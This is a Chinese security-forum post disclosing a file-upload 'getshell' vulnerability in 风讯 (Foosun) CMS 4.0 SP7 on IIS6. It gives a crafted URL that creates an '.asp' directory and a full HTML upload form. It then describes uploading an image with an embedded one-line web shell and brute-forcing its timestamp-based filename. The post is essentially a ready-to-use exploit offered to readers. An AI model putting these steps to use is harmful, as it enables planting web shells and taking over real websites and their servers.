注册
登录
| 关键词： 然后 目录 随机数 发现者 时间差 管中窥豹 误差 bink 文件名 bloodsword |
风讯 4.0 SP7 getshell 0day 发现者：bloodsword、bink，转载请无视 影响版本：<=4.0 sp7，前面的版本没去看，估计也有此问题。 利用条件，开启了文件上传功能，iis6环境。 漏洞描述：建立目录的地方，名称过滤上有失误，导致可以绕过过滤建立一个.asp目录 首先注册个账号访http://www.bbb.com/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/06150583700/aaa.asp//&CurrPath=/userfiles/06150583700其中这个06150583700是你的userid，登录了直接可以看到，建立一个.asp目录 因为风讯浏览目录的地方也过滤了.，所以建立的子目录进不去。本地构造表单： view sourceprint? 1.<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp"> 2.<input type="hidden" name="AutoReName" value="2"><br> 3.<input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp"> 4.<input type="file" size="20" name="File1"> 5.<input type="hidden" name="FilesNum" value="1"> 6.<input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 "> 7.<input type="reset" id="ResetForm" name="Submit3" value=" 重 填 "> 8.</form> 传个夹带一句话的图片上去 传上去的文件名是日期+时间+5位随机数（可能是4位3位2位1位，反正最大5位），这个我跟bink研究了半天，没有 办法看到-_-，用管中窥豹有个暴力猜接上传路径的功能，先在正常目录里上传个文件，卡一下本地跟远程的时间差，然后传到.asp 目录里，把秒数误差控制在3秒以内，开始跑吧~~然后自己该干嘛干嘛去,RP过关的话几个小时内应该能出结果-_- |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
